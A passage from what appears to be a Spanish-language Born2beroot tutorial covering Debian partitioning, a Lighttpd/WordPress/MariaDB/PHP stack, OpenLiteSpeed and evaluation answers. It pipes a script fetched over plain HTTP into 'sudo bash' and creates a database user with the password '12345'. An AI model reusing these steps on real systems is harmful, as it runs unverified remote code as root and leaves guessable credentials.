<img width="787" alt="Screen Shot 2022-10-23 at 5 15 44 PM" src="https://user-images.githubusercontent.com/66915274/197400227-20c13dc0-52cd-4c70-bf4e-531979c54a3e.png">
<img width="530" alt="Screen Shot 2022-10-23 at 5 15 52 PM" src="https://user-images.githubusercontent.com/66915274/197400238-3b403294-74d1-4e63-aca7-7d83447ed5b8.png">
<img width="790" alt="Screen Shot 2022-10-23 at 5 16 04 PM" src="https://user-images.githubusercontent.com/66915274/197400249-035f6b9d-3716-4565-9776-aa0af49b3fd7.png">
<p>53 ◦ Para <code>swap</code> haremos una excepción ya el sistema de archivos será diferente. Seleccionamos <code>swap</code>.</p>
<img width="780" alt="Screen Shot 2022-10-23 at 5 16 32 PM" src="https://user-images.githubusercontent.com/66915274/197400272-112b44ef-4996-438a-90b8-6620cdd7d2ff.png">
<p>54 ◦ En el momento de seleccionar el sistema de archivos lo dejamos en <code>swap area</code>.</p>
<img width="785" alt="Screen Shot 2022-10-23 at 5 16 41 PM" src="https://user-images.githubusercontent.com/66915274/197400281-e12ee636-8696-4bee-9198-862b7d6be199.png">
<p>55 ◦ Una vez realizado el paso anterior terminaremos la configuración de la partición.</p>
<img width="370" alt="Screen Shot 2022-10-23 at 5 16 59 PM" src="https://user-images.githubusercontent.com/66915274/197400297-8eed129d-0ec0-49a8-8b2a-dd0d04055f75.png">
<img width="787" alt="Screen Shot 2022-10-23 at 5 17 09 PM" src="https://user-images.githubusercontent.com/66915274/197400309-74e83209-4b2a-4e27-9a67-44373c1db362.png">
<p>56 ◦ Ahora si volveremos a hacer lo mismo que antes pero ahora lo haremos con <code>tmp</code> y cambiando el punto de montaje.</p>
<img width="777" alt="Screen Shot 2022-10-23 at 5 17 41 PM" src="https://user-images.githubusercontent.com/66915274/197400341-608516f6-0f5a-4cdd-83d8-c8fbd1635624.png">
<img width="778" alt="Screen Shot 2022-10-23 at 5 17 49 PM" src="https://user-images.githubusercontent.com/66915274/197400346-e9647c7a-a9a2-4a0f-b439-a912247fb3f9.png">
<img width="372" alt="Screen Shot 2022-10-23 at 5 18 01 PM" src="https://user-images.githubusercontent.com/66915274/197400360-1816d06a-252e-4d41-b1a2-fc547961f353.png">
<img width="781" alt="Screen Shot 2022-10-23 at 5 18 08 PM" src="https://user-images.githubusercontent.com/66915274/197400370-0474b71f-c1c3-445f-ba02-088dc1c64ce3.png">
<img width="496" alt="Screen Shot 2022-10-23 at 5 18 24 PM" src="https://user-images.githubusercontent.com/66915274/197400386-f66494c5-97b9-4bb9-8c75-5856d69d26cc.png">
<img width="783" alt="Screen Shot 2022-10-23 at 5 18 40 PM" src="https://user-images.githubusercontent.com/66915274/197400405-4a368bfb-f862-4bbd-a33e-b87c3038d232.png">
<p>57 ◦ Repetimos de nuevo el proceso para <code>var</code> cambiando el punto de montaje.</p>
<img width="773" alt="Screen Shot 2022-10-23 at 5 19 13 PM" src="https://user-images.githubusercontent.com/66915274/197400447-85bcad13-8083-4aec-acb2-fa467e5d4e33.png">
<img width="790" alt="Screen Shot 2022-10-23 at 5 19 21 PM" src="https://user-images.githubusercontent.com/66915274/197400452-aed22368-4889-4c04-bf60-5a06fb93944e.png">
<img width="386" alt="Screen Shot 2022-10-23 at 5 19 28 PM" src="https://user-images.githubusercontent.com/66915274/197400459-b6f59948-e804-414a-b41d-21d2f495fccc.png">
<img width="780" alt="Screen Shot 2022-10-23 at 5 19 36 PM" src="https://user-images.githubusercontent.com/66915274/197400462-788d29e5-7798-418a-8725-3cb8dd2849bd.png">
<img width="515" alt="Screen Shot 2022-10-23 at 5 19 51 PM" src="https://user-images.githubusercontent.com/66915274/197400473-4508d9d6-481d-4f3a-9630-6c1eba7c5cc0.png">
<img width="779" alt="Screen Shot 2022-10-23 at 5 20 00 PM" src="https://user-images.githubusercontent.com/66915274/197400482-1f8c147f-66d8-438b-866f-3e9eff75ef5e.png">
<p>58 ◦ Por último repetimos de nuevo el proceso para <code>var-log</code> en este deberemos introducir manualmente el punto de montaje.</p>
<img width="772" alt="Screen Shot 2022-10-23 at 5 20 23 PM" src="https://user-images.githubusercontent.com/66915274/197400513-53b3f899-47f5-4cdb-ab4b-205b1d1bce31.png">
<p><img src="https://user-images.githubusercontent.com/66915274/197602511-fa34155b-3244-4b0c-8054-2778edecfb16.png" alt="image"></p>
<p><img src="https://user-images.githubusercontent.com/66915274/197602585-03b540af-5d7a-4364-b90a-559bac0cb2a2.png" alt="image"></p>
<p><img src="https://user-images.githubusercontent.com/66915274/197602630-cc749189-9ac9-48bc-a595-dc33282840ec.png" alt="image"></p>
<p><img src="https://user-images.githubusercontent.com/66915274/197602673-5c18be85-1b0f-430b-b507-66711b807115.png" alt="image"></p>
<p><img src="https://user-images.githubusercontent.com/66915274/197602699-fddadd2d-c54d-4313-8165-a93db1249b26.png" alt="image"></p>
<p><img src="https://user-images.githubusercontent.com/66915274/197602741-431bd866-1558-4735-bb34-ab57dc5745b7.png" alt="image"></p>
<p>59 ◦ Una vez hemos completado todos los pasos anteriores ya casi hemos acabado, debemos darle a finalizar el particionado y asi se guarden todos los cambios en el disco.</p>
<p><img src="https://user-images.githubusercontent.com/66915274/197602907-4a3ba459-1a5d-468e-81dc-5206403cf034.png" alt="image"></p>
<p>60 ◦ Aceptamos el mensaje y asi se guardaran los cambios. Asegurate que todas las particiones quedan igual que en la captura.</p>
<p><img src="https://user-images.githubusercontent.com/66915274/197602944-13ca67b2-bcc5-476c-84dc-aadc5e1d3baf.png" alt="image"></p>
<p>61 ◦ Seleccionamos la opción <code>No</code> ya que no necesitamos paquetes adicionales.</p>
<img width="770" alt="Captura de pantalla 2022-07-13 a las 20 05 42" src="https://user-images.githubusercontent.com/66915274/178801099-2dda24f5-0d46-4184-8c44-a8fe0bf46527.png">
<p>62 ◦ Escogemos nuestro País.</p>
<img width="756" alt="Captura de pantalla 2022-07-13 a las 20 14 23" src="https://user-images.githubusercontent.com/66915274/178802653-d9e8504a-b60b-4441-8ee3-8d48ca4a6bf0.png">
<p>63 ◦ Escogemos <code>deb.debian.org</code> ya que tenindo en cuenta nuestra region es donde tendremos una mejor conexión.</p>
<img width="792" alt="Captura de pantalla 2022-07-13 a las 20 15 00" src="https://user-images.githubusercontent.com/66915274/178802772-4f67cd99-60d5-4439-8502-317e81e07d70.png">
<p>64 ◦ Esta opción la dejaremos vacía le daremos directamente a <code>Continue</code>.</p>
<img width="797" alt="Captura de pantalla 2022-07-13 a las 20 17 24" src="https://user-images.githubusercontent.com/66915274/178803208-2969acae-3fa7-423e-8a3c-bb7c76eff824.png">
<p>65 ◦ Seleccionamos la opcion <code>No</code> ya que no queremos que los developers vean nuestras estadísticas aunque sean anónimas.</p>
<img width="796" alt="Captura de pantalla 2022-07-13 a las 20 21 54" src="https://user-images.githubusercontent.com/66915274/178803926-a4efbc70-f3e2-4e6c-9809-9152478d8237.png">
<p>66 ◦ Quitaremos todas las opciones de software (con la barra espaciadora) y le daremos a <code>Continue</code>.</p>
<img width="797" alt="Captura de pantalla 2022-07-13 a las 20 24 17" src="https://user-images.githubusercontent.com/66915274/178804377-e775b89e-93d4-482f-a4d0-0ef126f47719.png">
<p>67 ◦ Seleccionaremos <code>Yes</code> para instalar <a href="https://es.wikipedia.org/wiki/GNU_GRUB">GRUB boot</a> en el disco duro.</p>
<img width="792" alt="Captura de pantalla 2022-07-13 a las 20 26 24" src="https://user-images.githubusercontent.com/66915274/178804771-ba16e0b7-9f06-4c5b-9451-0bfd65efd2bb.png">
<p>68 ◦ Escogeremos el dispositivo para la instalación del cargador de arranque <code>/dev/sda (ata_VBOX_HARDDISK)</code>.</p>
<img width="792" alt="Captura de pantalla 2022-07-13 a las 20 35 46" src="https://user-images.githubusercontent.com/66915274/178806441-f1bf3159-4e09-4c9a-9102-b3261c9000d8.png">
<p>69 ◦ Le daremos a <code>Continue</code> para finalizar la instalación.</p>
<img width="794" alt="Captura de pantalla 2022-07-13 a las 20 39 30" src="https://user-images.githubusercontent.com/66915274/178807102-e2a9722e-791f-48a0-ae35-b05b36a37ed2.png">
<p>70 ◦ Una vez hemos terminado con la instalación de debian debemos configurar nuestra máquina virtual.</p>
<p><a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#4-configuraci%C3%B3n-de-la-m%C3%A1quina-virtual-%EF%B8%8F">Click aqui para dirigirte a la configuración de la máquina virtual ⚙️</a></p>
<h3>8.2 - Wordpress y configuración de servicios 🌐</h3>
<h3>Lighttpd</h3>
<p>🧠 <b> Que es Lighttpd❓</b> Es un servidor web diseñado para ser rápido, seguro, flexible, y fiel a los estándares. Está optimizado para entornos donde la velocidad es muy importante. Esto se debe a que consume menos CPU y memoria RAM que otros servidores.</p>
<p>1 ◦ Instalación de paquetes de lighttpd.</p>
<img width="791" alt="Screen Shot 2022-10-27 at 4 09 24 AM" src="https://user-images.githubusercontent.com/66915274/198174389-428c30e0-c437-4bc1-b8df-40dd2fb0c0ce.png">
<p>2 ◦ Permitimos las conexiones mediante el puerto 80 con el comando <code>sudo ufw allow 80</code>.</p>
<img width="306" alt="Screen Shot 2022-10-27 at 4 15 24 AM" src="https://user-images.githubusercontent.com/66915274/198175046-8ea3f052-32f1-4107-a9a1-c9271d6c9ce6.png">
<p>3 ◦ Checkeamos que realmente hayamos permitido. Debe aparecer el puerto 80 y allow.</p>
<img width="460" alt="Screen Shot 2022-10-27 at 4 15 45 AM" src="https://user-images.githubusercontent.com/66915274/198175075-da6833f1-2360-4e08-b708-99f920b8215c.png">
<p>4 ◦ Añadimos la regla que incluya el puerto 80. Si no recuerdas como se añadian reglas en el reenvío de puertos. Configuración de la máquina → Red → Reenvío de puertos → Replicar la captura.</p>
<img width="877" alt="Screen Shot 2022-11-18 at 2 49 56 PM" src="https://user-images.githubusercontent.com/66915274/202720044-d7a51add-c5ee-4da4-9057-258e47cfd036.png">
<h3>WordPress</h3>
<p>🧠 <b> Que es Wordpress❓</b> Es un sistema de gestión de contenidos enfocado a la creación de cualquier tipo de página web.</p>
<p>1 ◦ Para instalar la última versión de WordPress primero debemos instalar wget y zip. Para ello haremos uso del siguiente comando <code>sudo apt install wget zip</code>.</p>
<p>🧠 <b> Que es wget❓</b> Es una herramienta de línea de comandos que se utiliza para descargar archivos de la web.</p>
<p>🧠 <b> Que es zip❓</b> Es una utilidad de línea de comandos para comprimir y descomprimir archivos en formato ZIP.</p>
<img width="584" alt="Screen Shot 2022-11-18 at 2 45 11 PM" src="https://user-images.githubusercontent.com/66915274/202719000-dfc10731-7d29-4976-9867-d2a38e0f6407.png">
<p>2 ◦ Una vez hayamos instalado los paquetes nos debemos ubicar en la carpeta /var/www/ con el comando cd accederemos a ella <code>cd /var/wwww</code>.</p>
<img width="361" alt="Screen Shot 2022-11-18 at 2 45 53 PM" src="https://user-images.githubusercontent.com/66915274/202719112-c238f259-2a59-41ea-bbaa-8676742b2ef2.png">
<p>3 ◦ Una vez estemos en la ruta /var/www/ deberemos descargar la última versión de WordPress. Como mi idioma nativo es el español yo seleccionaré la última versión en español. Utilizaremos el siguiente comando: <code>sudo wget https://es.wordpress.org/latest-es_ES.zip</code>.</p>
<img width="779" alt="Screen Shot 2022-11-18 at 2 47 00 PM" src="https://user-images.githubusercontent.com/66915274/202719349-442e9fd5-f96a-48af-8d7a-ea8a91a4d380.png">
<p>4 ◦ Descomprimimos el archivo que acabamos de descargar con el comando <code>sudo unzip latest-es_ES.zip</code>.</p>
<img width="444" alt="Screen Shot 2022-11-18 at 2 47 25 PM" src="https://user-images.githubusercontent.com/66915274/202719435-99d6af72-98f4-47b0-befb-0f3e45db4520.png">
<p>5 ◦ Renombraremos la carpeta html y la llamaremos html_old. <code>sudo mv html/ html_old/</code>.</p>
<img width="402" alt="Screen Shot 2022-11-18 at 2 48 21 PM" src="https://user-images.githubusercontent.com/66915274/202719636-8deea2b6-2953-43da-86a7-17f76c14440a.png">
<p>6 ◦ Ahora renombraremos la carpeta wordpress y la llamaremos html. <code>sudo mv wordpress/ html</code>.</p>
<img width="398" alt="Screen Shot 2022-11-18 at 2 48 49 PM" src="https://user-images.githubusercontent.com/66915274/202719749-4c914197-3891-4bcc-afb8-54c94b5f77cb.png">
<p>7 ◦ Por último estableceremos estos permisos en la carpeta html. Daremos uso del comando <code>sudo chmod -R 755 html</code>. El número 7 indica que el propietario tiene permisos de lectura, escritura y ejecución. El número 5 indica que el grupo y otros solo tienen permisos de lectura y ejecución.</p>
<img width="396" alt="Screen Shot 2022-11-18 at 2 49 17 PM" src="https://user-images.githubusercontent.com/66915274/202719852-48b9ee14-3b15-49e2-bbd2-ca172a1f65ef.png">
<h3>Mariadb</h3>
<p>🧠 <b> Que es MariaDB❓</b> Es una base de datos. Se utiliza para diversos fines, como el almacenamiento de datos, el comercio electrónico, funciones a nivel empresarial y las aplicaciones de registro.</p>
<p>1 ◦ Instalaremos los paquetes con el comando <code>sudo apt install mariadb-server</code></p>
<img width="797" alt="Screen Shot 2022-10-27 at 4 17 09 AM" src="https://user-images.githubusercontent.com/66915274/198175218-65dec75f-5727-425c-97d0-2baa2b8cd457.png">
<p>2 ◦ Debido a que la configuración predeterminada deja su instalación de MariaDB poco segura, utilizaremos un script que proporciona el paquete mariadb-server para restringir el acceso al servidor y eliminar las cuentas no utilizadas. Ejecutaremos el script con el siguiente comando <code>sudo mysql_secure_installation</code>. Una vez ejecutemos el script nos hara una serie de preguntas.Preguntará si deseamos cambiar a la autenticación de socket de Unix. Como ya tenemos una cuenta root protegida escribiremos <code>N</code>.</p>
<pre><code>Switch to unix_socket autentication? → N
Change the root password? → N
Remove anonymous users? → Y
Disallow root login remotely? → Y
Remove test database and acces to it? → Y
Reaload privilege tables now? → Y
</code></pre>
<img width="629" alt="Screen Shot 2022-10-27 at 4 19 25 AM" src="https://user-images.githubusercontent.com/66915274/198175511-d826b699-770e-4142-b464-cd6a91211d6a.png">
<img width="704" alt="Screen Shot 2022-10-27 at 1 00 20 AM" src="https://user-images.githubusercontent.com/66915274/198175719-b22bd572-ab50-4590-9298-5f5a69f98862.png">
<img width="551" alt="Screen Shot 2022-10-27 at 1 00 40 AM" src="https://user-images.githubusercontent.com/66915274/198175732-eff97e65-d8ef-4b44-8930-62d58d910598.png">
<p>Switch to unix_socket autentication? Escogemos <code>N</code> porque no deseamos que cambie a la auntenticación de socket de Unix ya tenemos una cuenta root protegida.</p>
<p>Change the root password? Escogemos <code>N</code>. No deseamos cambiar la contraseña del usuario root. Por defecto no tenemos contraseña pero en mariadb realmente no es root ya que debemos darle permisos de administrador.</p>
<p>Remove anonymous users? Escogemos <code>Y</code>. Por defecto cuando instalas mariadb tiene un usuario anonimo, lo que permite que cualquier persona inicie sesión en mariadb sin tener que crear una cuenta de usuario propia. Esto esta diseñado para realizar pruebas y que la instalación sea más fluida. Cuando dejemos el entorno de desarrollo y queramos pasar a un entorno de producción debemos eliminar los usuarios anonimos.</p>
<p>Disallow root login remotely? Escogemos <code>Y</code>. Al deshabilitar el inicio de sesion en root de forma remota evitaremos que alguien pueda adivinar la contraseña root. Solo podremos conectarnos al root desde localhost.</p>
<p>Remove test database and acces to it? Escogemos <code>Y</code>. De esta manera se eliminará la base de datos de prueba y cualquier usuario que tenga acceso a ella.</p>
<p>Reaload privilege tables now? Escogemos <code>Y</code>. Asi se recargarán las tablas de permisos de MySQL para que los cambios en la configuración de seguridad entren en vigor de inmediato.</p>
<p>1 ◦ Una vez hayamos terminado con la instalación de mariadb debemos crear la base de datos y el usuario para el WordPress. Lo primero debemos acceder a mariadb.</p>
<img width="492" alt="Screen Shot 2023-03-31 at 12 16 28 AM" src="https://user-images.githubusercontent.com/66915274/228976032-2a3bd66e-ce88-4bc1-9264-1d5d7f88f295.png">
<p>2 ◦ Creamos una base de datos para el WordPress. En mi caso le voy a llamar wp_database. Todo esto lo hare con el comando <code>CREATE DATABASE wp_database;</code>.</p>
<img width="384" alt="Screen Shot 2023-03-31 at 9 53 17 PM" src="https://user-images.githubusercontent.com/66915274/229216821-fba3d891-c477-4e68-9799-57bcb9efcde3.png">
<p>3 ◦ Para asegurarnos que se ha creado la base de datos para el WordPress podemos ver todas las bases existentes con el comando <code>SHOW DATABASES;</code>.</p>
<img width="282" alt="Screen Shot 2023-03-31 at 9 54 04 PM" src="https://user-images.githubusercontent.com/66915274/229216973-fa35f5e1-04f1-4e56-8c44-55c4ad5a8745.png">
<p>4 ◦ Acto seguido debemos crearemos un usuario dentro de la base de datos. Utilizaremos el comando <code>CREATE USER 'gemartin'@'localhost' IDENTIFIED BY '12345';</code>.</p>
<img width="616" alt="Screen Shot 2023-03-31 at 9 56 59 PM" src="https://user-images.githubusercontent.com/66915274/229217478-6f7f5f3c-12cb-4d5a-981c-6fd53f884aa3.png">
<p>5 ◦ Vinculamos el nuevo usuario a nuestra base de datos de manera que le otorguemos los permisos necesario para poder trabajar. Daremos uso del comando <code>GRANT ALL PRIVILEGES ON wp_database.* TO 'gemartin'@'localhost';</code>.</p>
<img width="669" alt="Screen Shot 2023-03-31 at 10 01 32 PM" src="https://user-images.githubusercontent.com/66915274/229218529-e2cdcb3f-f8bc-4474-8e7b-c1cf9499aa57.png">
<p>6 ◦ Actualizamos los permisos para que los cambios tengan efecto con el comando <code>FLUSH PRIVILEGES;</code>.</p>
<img width="321" alt="Screen Shot 2023-03-31 at 10 02 01 PM" src="https://user-images.githubusercontent.com/66915274/229218623-bad5faf3-231e-4472-a617-2ead2e713313.png">
<p>7 ◦ Una vez hemos completado el paso anterior ya podemos salir de mariadb.</p>
<img width="295" alt="Screen Shot 2023-04-01 at 10 43 40 PM" src="https://user-images.githubusercontent.com/66915274/229313206-36b09583-1930-4754-b70a-8d4caa38db9e.png">
<h3>PHP</h3>
<p>🧠 <b> Que es PHP❓</b> Es un lenguaje de programación. Se utiliza principalmente para desarrollar aplicaciones web dinámicas y sitios web interactivos. PHP se ejecuta en el lado del servidor.</p>
<p>1 ◦ Instalamos los paquetes necesarios para poder ejecutar aplicaciones web escritas en lenguaje PHP y que necesiten conectarse a una base de datos MySQL. Ejecutaremos el siguiente comando <code>sudo apt install php-cgi php-mysql</code>.</p>
<img width="541" alt="Screen Shot 2023-03-31 at 10 07 04 PM" src="https://user-images.githubusercontent.com/66915274/229308102-24ddd152-8687-410d-b207-953d36c9b591.png">
<h3>Configuración WordPress</h3>
<p>1 ◦ Accedemos al directorio /var/www/html con el comando: <code>cd /var/www/html</code></p>
<img width="326" alt="Screen Shot 2023-04-01 at 8 26 46 PM" src="https://user-images.githubusercontent.com/66915274/229308150-88ec9c15-4791-4541-baf2-5d2267b94eec.png">
<p>2 ◦ Copiamos el fichero wp-config-sample.php y lo renombraremos wp-config.php</p>
<img width="616" alt="Screen Shot 2023-04-01 at 8 28 42 PM" src="https://user-images.githubusercontent.com/66915274/229308231-a022e3b4-1606-4958-b530-5b2ada908997.png">
<p>3 ◦ Una vez lo hayamos renombrado editaremos el fichero wp-config.php <code>nano wp-config.php</code> y modificaremos los siguientes valores.</p>
<img width="841" alt="Screen Shot 2023-04-01 at 8 42 25 PM" src="https://user-images.githubusercontent.com/66915274/229308713-bbbb69f4-5f6c-4146-bc10-006cd968fb95.png">
<p>Hay que remplazarlos por los valores que hemos puesto anteriormente cuando creábamos la base de datos y el usuario para que WordPress pueda conectar y hacer uso de ella.</p>
<img width="842" alt="Screen Shot 2023-04-01 at 8 46 08 PM" src="https://user-images.githubusercontent.com/66915274/229308845-4eac418d-c03f-48d1-9b74-463ef56a2ee5.png">
<p>4 ◦ Habilitamos el módulo fastcgi-php en Lighttpd para mejorar el rendimiento y la velocidad de las aplicaciones web en el servidor. <code>sudo lighty-enable-mod fastcgi</code></p>
<p><img src="https://user-images.githubusercontent.com/66915274/230748612-8253b2ee-15c6-42e0-8745-2148f48c6962.png" alt="image"></p>
<p>5 ◦ Habilitamos el módulo fastcgi-php en Lighttpd para mejorar el rendimiento y la velocidad de las aplicaciones web basadas en PHP en el servidor. <code>sudo lighty-enable-mod fastcgi-php</code></p>
<p><img src="https://user-images.githubusercontent.com/66915274/230748560-bd225efc-ea65-4a7d-bf08-eb72d61da58e.png" alt="image"></p>
<p>6 ◦ Actualizamos y aplicamos los cambios en la configuración con el comando <code>sudo service lighttpd force-reload</code>.</p>
<p><img src="https://user-images.githubusercontent.com/66915274/230748835-9b44222d-e978-4a74-a501-e993c528a2a5.png" alt="image"></p>
<p>7 ◦ Una vez ya hemos completado los pasos anteriores podemos volver a dirigirnos a nuestro navegador y escribiremos <code>localhost</code>. Nos deberá salir lo siguiente:</p>
<img width="674" alt="Screen Shot 2023-04-01 at 8 49 00 PM" src="https://user-images.githubusercontent.com/66915274/229308949-6224a7c8-2dda-414a-b313-c14e981aca01.png">
<img width="1075" alt="Screen Shot 2023-04-01 at 8 00 38 PM" src="https://user-images.githubusercontent.com/66915274/229308962-d39b1b6b-62cc-49d1-ad13-a016d6e73683.png">
<p>8 ◦ Debemos rellenar todos los campos. En mi caso he puesto lo siguiente:</p>
<img width="793" alt="Screen Shot 2023-04-01 at 8 02 29 PM" src="https://user-images.githubusercontent.com/66915274/229309346-c712fff4-1530-42c8-ad9e-a59f85d4de51.png">
<p>9 ◦ Una vez hayamos rellenado todos los campos debemos darle a <code>Instalar WordPress</code> y ya habremos terminado la instalación. Nos saldrá la siguiente pestaña. Ahora WordPress puede crear las tablas y volcar todos los datos que necesita para funcionar en la base de datos que le hemos asignado.</p>
<img width="798" alt="Screen Shot 2023-04-01 at 8 02 52 PM" src="https://user-images.githubusercontent.com/66915274/229309399-719f525e-7859-468f-a9e6-6b6954102153.png">
<p>10 ◦ Si accedemos de nuevo a nuestro localhost desde el navegador ya podemos ver nuestra página funcional.</p>
<img width="2560" alt="Screen Shot 2023-04-01 at 9 02 51 PM" src="https://user-images.githubusercontent.com/66915274/229309529-96f3a1bb-d4a2-434f-bc01-2f2db0e0839d.png">
<p>11 ◦ Si queremos acceder al panel de administrador para hacer cambios en nuestra página deberemos poner en el navegador <code>localhost/wp-admin</code> y iniciaremos sesión con nuestra cuenta.</p>
<img width="368" alt="Screen Shot 2023-04-01 at 9 05 41 PM" src="https://user-images.githubusercontent.com/66915274/229309619-024d5dcc-ea8d-4895-88f3-bb65fcdca7e2.png">
<img width="359" alt="Screen Shot 2023-04-01 at 9 06 44 PM" src="https://user-images.githubusercontent.com/66915274/229309653-02e398e9-0c28-470e-825d-1431f7ca2bc2.png">
<p>12 ◦ Una vez accedamos ya podemos modificar lo que queramos a gusto propio. Personalizar la página es algo opcional, como no está especificado en el subject en esta guia no se tratará nada al respecto.</p>
<img width="1100" alt="Screen Shot 2023-04-01 at 9 07 38 PM" src="https://user-images.githubusercontent.com/66915274/229309676-b670be09-47dd-445f-969a-bb41131aa3f9.png">
<h3>8.3 - Servicio adicional ➕</h3>
<h3>LiteSpeed ⚡️</h3>
<p>🧠 <b> Que es LiteSpeed❓</b> Es un software de servidor web patentado. Es el cuarto servidor web más popular, y se estima que lo utiliza el 10% de los sitios web.</p>
<p>1 ◦ Antes de instalar cualquier software, es importante asegurarse de que el sistema esté actualizado.</p>
<p><code>sudo apt update</code></p>
<img width="701" alt="Screen Shot 2022-11-25 at 2 59 17 AM" src="https://user-images.githubusercontent.com/66915274/203885206-209ac64f-51a3-42e4-814e-2063cf83a156.png">
<p><code>sudo apt upgrade</code></p>
<img width="507" alt="Screen Shot 2022-11-25 at 3 00 18 AM" src="https://user-images.githubusercontent.com/66915274/203885306-3b3eb6cd-64cb-4d34-967a-19e650286cf5.png">
<p>2 ◦ De forma predeterminada, OpenLiteSpeed está disponible en el repositorio base de Debian 11. Entonces, debes ejecutar el siguiente comando para agregar el repositorio OpenLiteSpeed a su sistema Debian:</p>
<p><code>wget -O - http://rpms.litespeedtech.com/debian/enable_lst_debian_repo.sh | sudo bash</code></p>
<p>Como el comando es largo me he conectado via ssh.</p>
<img width="1129" alt="Screen Shot 2022-11-25 at 3 05 49 AM" src="https://user-images.githubusercontent.com/66915274/203885808-b4e0ff9a-580c-4121-b06f-ec229e514df9.png">
<p>3 ◦ De nuevo, actualizamos los paquetes y instalaremos OpenLiteSpeed.</p>
<p><code>sudo apt update</code></p>
<img width="627" alt="Screen Shot 2022-11-25 at 3 07 31 AM" src="https://user-images.githubusercontent.com/66915274/203885968-e0297682-b18c-4363-8fcb-7553cd908f91.png">
<p><code>sudo apt install openlitespeed</code></p>
<img width="801" alt="Screen Shot 2022-11-25 at 3 11 22 AM" src="https://user-images.githubusercontent.com/66915274/203886321-dbda490e-726d-4dfb-aa91-b9e10206976a.png">
<p>4 ◦ La contraseña predeterminada para OpenLiteSpeed es 123456. Cambiaremos la contraseña a algo más seguro con el siguiente comando.</p>
<p><code>sudo /usr/local/lsws/admin/misc/admpass.sh</code></p>
<img width="607" alt="Screen Shot 2022-11-25 at 3 12 33 AM" src="https://user-images.githubusercontent.com/66915274/203886432-cb14665f-63a0-4373-919d-0dff7c04b212.png">
<p>5 ◦ Configuramos el firewall para permitir las conexiones mediante los puertos 8088 y 7080. Acto seguido agregaremos las reglas en el reenvio de puertos.</p>
<p><code>sudo ufw allow 8088/tcp</code></p>
<img width="446" alt="Screen Shot 2022-11-25 at 3 15 39 AM" src="https://user-images.githubusercontent.com/66915274/203886798-41d4c14f-cb4a-4982-bd92-82ade321f244.png">
<p><code>sudo ufw allow 7080/tcp</code></p>
<img width="445" alt="Screen Shot 2022-11-25 at 3 15 59 AM" src="https://user-images.githubusercontent.com/66915274/203886833-f9016672-8fda-46fc-87a9-cd194de3cc1b.png">
<p><code>sudo ufw reload</code></p>
<img width="393" alt="Screen Shot 2022-11-25 at 3 16 18 AM" src="https://user-images.githubusercontent.com/66915274/203886863-03406d5c-456a-4e80-83e9-1bf3904154d3.png">
<p>Reglas en el reenvio de puertos.</p>
<img width="825" alt="Screen Shot 2022-11-25 at 3 16 52 AM" src="https://user-images.githubusercontent.com/66915274/203886923-1db4cf56-d197-4c41-87f6-846253e08450.png">
<p>6 ◦ Una vez completado el paso anterior ya podemos conectarnos. Pondremos en el buscador de nuestro navegador <code>localhost:7080</code> proporcionamos nuestras credenciales de inicio de sesión y ya tendremos acceso a todo.</p>
<img width="800" alt="Screen Shot 2022-11-25 at 3 18 53 AM" src="https://user-images.githubusercontent.com/66915274/203887182-73d29abc-674c-4ace-bffb-de42b636ec38.png">
<img width="1206" alt="Screen Shot 2022-11-24 at 8 49 24 PM" src="https://user-images.githubusercontent.com/66915274/203856104-d4454636-2f45-4e51-8cf5-a1501398ea57.png">
<br>
<br>
<br>
<h1></h1>
<h1>Este tutorial ha llevado mucho trabajo, si crees que te ha sido útil agradeceria mucho starred 🌟 para que así se comparta y pueda ayudar a más estudiantes 👨🏻🎓❤️</h1>
<br>
<br>
<br>
<h2>9- Hoja de corrección ✅</h2>
<img width="773" alt="Screen Shot 2023-01-22 at 5 13 44 PM" src="https://user-images.githubusercontent.com/66915274/214894873-b92fcaeb-251b-46fb-8ab8-fb8f861976ab.png">
<img width="772" alt="Screen Shot 2023-01-22 at 5 14 52 PM" src="https://user-images.githubusercontent.com/66915274/214894986-a0697331-8395-4f2b-9acd-50052b5b0f40.png">
<img width="772" alt="Screen Shot 2023-01-22 at 5 15 10 PM" src="https://user-images.githubusercontent.com/66915274/214895053-482efa21-b254-41ca-8239-c5f183a4ff41.png">
<img width="772" alt="Screen Shot 2023-01-22 at 5 15 22 PM" src="https://user-images.githubusercontent.com/66915274/214895097-ec42a53a-b897-4af8-adec-eb99aa6554c8.png">
<h2>9-1 Respuestas de la evaluación 💯</h2>
<h3>▪️ Que es una maquina virtual❓</h3>
<p>Es un software que simula un sistema de computación y puede ejecutar programas como si fuese una computadora real. Permite crear múltiples entornos simulados o recursos dedicados desde un solo sistema de hardware físico.</p>
<h3>▪️ Porque has escogido Debian❓</h3>
<p>Esto es algo personal para cada uno, mi opinion: El propio subject explica que es mas sencillo hacerlo en Debian y si buscas documentacion/tutoriales hay muchos y todos se han hecho en debian.</p>
<h3>▪️ Diferencias basicas entre Rocky y Debian</h3>
<p><img src="https://user-images.githubusercontent.com/66915274/182517306-edb92eac-cba4-444a-83f8-9692bac69231.png" alt="182516961-c3e4da77-2db8-4737-a68f-27b033908705 (1) (1)"></p>
<h3>▪️ Cual es el proposito de las maquinas virtuales❓</h3>
<p>Su objetivo es el de proporcionar un entorno de ejecución independiente de la plataforma de hardware y del sistema operativo, que oculte los detalles de la plataforma subyacente y permita que un programa se ejecute siempre de la misma forma sobre cualquier plataforma.</p>
<h3>▪️ Diferencias entre apt y aptitude ↙️</h3>
<p>Aptitude es una version mejorada de apt. APT es un administrador de paquetes de nivel inferior y aptitude es un administrador de paquetes de alto nivel. Otra gran diferencia es la funcionalidad que ofrecen ambas herramientas. Aptitude ofrece una mejor funcionalidad en comparación con apt-get. Ambos son capaces de de proporcionar los medios necesarios para realizar la gestión de paquetes. Sin embargo, si se busca un enfoque con mas caracteristicas, debería ser, Aptitude.</p>
<h3>▪️ Que es APPArmor❓</h3>
<p>Es un módulo de seguridad del kernel Linux que permite al administrador del sistema restringir las capacidades de un programa.</p>
<h3>▪️ Que es LVM❓</h3>
<p>Es un gestor de volúmenes lógicos. Proporciona un método para asignar espacio en dispositivos de almacenamiento masivo, que es más flexible que los esquemas de particionado convencionales para almacenar volúmenes.</p>
<h2>9-2 Comandos de la evaluación ⌨️</h2>
<p>1 ◦ Comprobar que no haya ninguna interfaz grafica en uso.</p>
<p>Utilizaremos el comando <code>ls /usr/bin/*session</code> y nos debe aparecer el mismo resultado que en la captura. Si aparece algo diferente se esta utilizando una interfaz grafica.</p>
